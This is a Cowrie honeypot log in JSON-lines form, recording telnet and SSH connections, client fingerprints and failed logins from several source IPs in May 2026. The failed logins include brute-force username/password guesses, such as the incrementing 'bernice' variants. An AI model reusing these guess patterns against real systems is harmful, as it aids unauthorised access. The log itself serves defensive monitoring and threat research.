{"eventid":"cowrie.session.closed","duration":37.56801772117615,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:50:02.337608Z","src_ip":"135.148.14.151","session":"c467d94b3e09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00714802742004,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:50:18.259756Z","src_ip":"135.148.14.151","session":"6b5a62ee500f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.12329363822937,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:50:18.917073Z","src_ip":"135.148.14.151","session":"300fee3bf17b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.12902498245239,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:50:19.214492Z","src_ip":"135.148.14.151","session":"2bfeec4d8e26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54590,"dst_ip":"159.203.135.109","dst_port":23,"session":"f287f3ad8c2a","protocol":"telnet","message":"New connection: 135.148.14.151:54590 (159.203.135.109:23) [session: f287f3ad8c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:50:26.158367Z"}
{"eventid":"cowrie.session.closed","duration":0.0058345794677734375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:50:26.164067Z","src_ip":"135.148.14.151","session":"f287f3ad8c2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45480,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd1fb6ab60c3","protocol":"telnet","message":"New connection: 135.148.14.151:45480 (159.203.135.109:23) [session: dd1fb6ab60c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:50:37.755550Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45462,"dst_ip":"159.203.135.109","dst_port":23,"session":"a478cd16416c","protocol":"telnet","message":"New connection: 135.148.14.151:45462 (159.203.135.109:23) [session: a478cd16416c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:50:39.725860Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57938,"dst_ip":"159.203.135.109","dst_port":23,"session":"e38ba2bbb6a0","protocol":"telnet","message":"New connection: 135.148.14.151:57938 (159.203.135.109:23) [session: e38ba2bbb6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:05.294992Z"}
{"eventid":"cowrie.session.closed","duration":35.48139548301697,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:15.207130Z","src_ip":"135.148.14.151","session":"a478cd16416c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.95332050323486,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:15.708562Z","src_ip":"135.148.14.151","session":"dd1fb6ab60c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36564,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1e3c69a9e8c","protocol":"telnet","message":"New connection: 135.148.14.151:36564 (159.203.135.109:23) [session: a1e3c69a9e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:20.002110Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39314,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebb08d58da7f","protocol":"telnet","message":"New connection: 135.148.14.151:39314 (159.203.135.109:23) [session: ebb08d58da7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:26.504519Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":48160,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fc75820f168","protocol":"ssh","message":"New connection: 213.209.159.56:48160 (10.17.0.5:22) [session: 0fc75820f168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:29.317609Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":17766,"dst_ip":"10.17.0.5","dst_port":22,"session":"21a620e9482e","protocol":"ssh","message":"New connection: 38.93.206.2:17766 (10.17.0.5:22) [session: 21a620e9482e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:32.859211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:32.864419Z","src_ip":"38.93.206.2","session":"21a620e9482e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:32.915940Z","src_ip":"38.93.206.2","session":"21a620e9482e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567e","message":"login attempt [root/1234567e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:33.070515Z","src_ip":"38.93.206.2","session":"21a620e9482e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42278,"dst_ip":"159.203.135.109","dst_port":23,"session":"d88145fc9cbf","protocol":"telnet","message":"New connection: 135.148.14.151:42278 (159.203.135.109:23) [session: d88145fc9cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:33.307770Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:34.126765Z","src_ip":"38.93.206.2","session":"21a620e9482e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:34.221925Z","src_ip":"213.209.159.56","session":"0fc75820f168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:34.300548Z","src_ip":"213.209.159.56","session":"0fc75820f168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernice","password":"bernice","message":"login attempt [bernice/bernice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:34.704277Z","src_ip":"213.209.159.56","session":"0fc75820f168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernice","password":"bernice1","message":"login attempt [bernice/bernice1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:35.789616Z","src_ip":"213.209.159.56","session":"0fc75820f168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernice","password":"bernice123","message":"login attempt [bernice/bernice123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:36.874393Z","src_ip":"213.209.159.56","session":"0fc75820f168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernice","password":"bernice1234","message":"login attempt [bernice/bernice1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:37.960652Z","src_ip":"213.209.159.56","session":"0fc75820f168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernice","password":"bernice12345","message":"login attempt [bernice/bernice12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:39.046530Z","src_ip":"213.209.159.56","session":"0fc75820f168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.79503011703491,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:40.089894Z","src_ip":"135.148.14.151","session":"e38ba2bbb6a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:40.132209Z","src_ip":"213.209.159.56","session":"0fc75820f168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":35834,"dst_ip":"10.17.0.5","dst_port":22,"session":"f20f5e5d5438","protocol":"ssh","message":"New connection: 37.233.85.71:35834 (10.17.0.5:22) [session: f20f5e5d5438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:41.834438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:41.839330Z","src_ip":"37.233.85.71","session":"f20f5e5d5438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:41.948670Z","src_ip":"37.233.85.71","session":"f20f5e5d5438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21061989","message":"login attempt [root/21061989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:42.278593Z","src_ip":"37.233.85.71","session":"f20f5e5d5438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:43.390823Z","src_ip":"37.233.85.71","session":"f20f5e5d5438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36916,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5642716319c","protocol":"telnet","message":"New connection: 135.148.14.151:36916 (159.203.135.109:23) [session: b5642716319c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:53.297780Z"}
{"eventid":"cowrie.session.closed","duration":0.0159757137298584,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:53.313636Z","src_ip":"135.148.14.151","session":"b5642716319c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.91011381149292,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:51:56.912093Z","src_ip":"135.148.14.151","session":"a1e3c69a9e8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.17618799209595,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:04.680604Z","src_ip":"135.148.14.151","session":"ebb08d58da7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.89190435409546,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:09.199504Z","src_ip":"135.148.14.151","session":"d88145fc9cbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37322,"dst_ip":"159.203.135.109","dst_port":23,"session":"926ac8fa69df","protocol":"telnet","message":"New connection: 135.148.14.151:37322 (159.203.135.109:23) [session: 926ac8fa69df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:22.833607Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":54602,"dst_ip":"159.203.135.109","dst_port":22,"session":"e06e95e6837a","protocol":"ssh","message":"New connection: 147.45.199.80:54602 (159.203.135.109:22) [session: e06e95e6837a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:24.457949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:24.462324Z","src_ip":"147.45.199.80","session":"e06e95e6837a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:24.561830Z","src_ip":"147.45.199.80","session":"e06e95e6837a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aezakmi12","message":"login attempt [root/aezakmi12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:24.865770Z","src_ip":"147.45.199.80","session":"e06e95e6837a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:25.967931Z","src_ip":"147.45.199.80","session":"e06e95e6837a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43704,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8e597cd4a36","protocol":"telnet","message":"New connection: 135.148.14.151:43704 (159.203.135.109:23) [session: b8e597cd4a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:35.872600Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":53238,"dst_ip":"10.17.0.5","dst_port":22,"session":"916b036bac76","protocol":"ssh","message":"New connection: 46.19.67.181:53238 (10.17.0.5:22) [session: 916b036bac76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:37.722200Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43706,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e69ec9797ae","protocol":"telnet","message":"New connection: 135.148.14.151:43706 (159.203.135.109:23) [session: 3e69ec9797ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:38.924922Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46302,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6b5eeb00d42","protocol":"telnet","message":"New connection: 135.148.14.151:46302 (159.203.135.109:23) [session: c6b5eeb00d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:42.252594Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47732,"dst_ip":"159.203.135.109","dst_port":23,"session":"a47267e8091c","protocol":"telnet","message":"New connection: 135.148.14.151:47732 (159.203.135.109:23) [session: a47267e8091c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:44.697392Z"}
{"eventid":"cowrie.session.closed","duration":35.30003809928894,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:52:58.133537Z","src_ip":"135.148.14.151","session":"926ac8fa69df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58406,"dst_ip":"159.203.135.109","dst_port":23,"session":"313a0f90649f","protocol":"telnet","message":"New connection: 135.148.14.151:58406 (159.203.135.109:23) [session: 313a0f90649f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:53:12.434479Z"}
{"eventid":"cowrie.session.closed","duration":37.54520320892334,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:53:13.417682Z","src_ip":"135.148.14.151","session":"b8e597cd4a36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.50788474082947,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:53:15.432705Z","src_ip":"135.148.14.151","session":"3e69ec9797ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.32226777076721,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:53:18.574740Z","src_ip":"135.148.14.151","session":"c6b5eeb00d42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.312472343444824,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:53:20.009759Z","src_ip":"135.148.14.151","session":"a47267e8091c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51730,"dst_ip":"159.203.135.109","dst_port":23,"session":"05e37b389adb","protocol":"telnet","message":"New connection: 135.148.14.151:51730 (159.203.135.109:23) [session: 05e37b389adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:53:31.103455Z"}
{"eventid":"cowrie.session.closed","duration":0.0049402713775634766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:53:31.108281Z","src_ip":"135.148.14.151","session":"05e37b389adb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39980,"dst_ip":"159.203.135.109","dst_port":23,"session":"2053bc04e36d","protocol":"telnet","message":"New connection: 135.148.14.151:39980 (159.203.135.109:23) [session: 2053bc04e36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:53:33.920426Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44294,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a012c24d81a","protocol":"telnet","message":"New connection: 135.148.14.151:44294 (159.203.135.109:23) [session: 7a012c24d81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:53:41.357459Z"}
{"eventid":"cowrie.session.closed","duration":32.83847498893738,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:53:45.272827Z","src_ip":"135.148.14.151","session":"313a0f90649f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.05577802658081,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:54:06.976099Z","src_ip":"135.148.14.151","session":"2053bc04e36d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60252,"dst_ip":"159.203.135.109","dst_port":23,"session":"4beeb672d7f7","protocol":"telnet","message":"New connection: 135.148.14.151:60252 (159.203.135.109:23) [session: 4beeb672d7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:54:16.103000Z"}
{"eventid":"cowrie.session.closed","duration":37.055131912231445,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:54:18.412462Z","src_ip":"135.148.14.151","session":"7a012c24d81a","protocol":"telnet"}
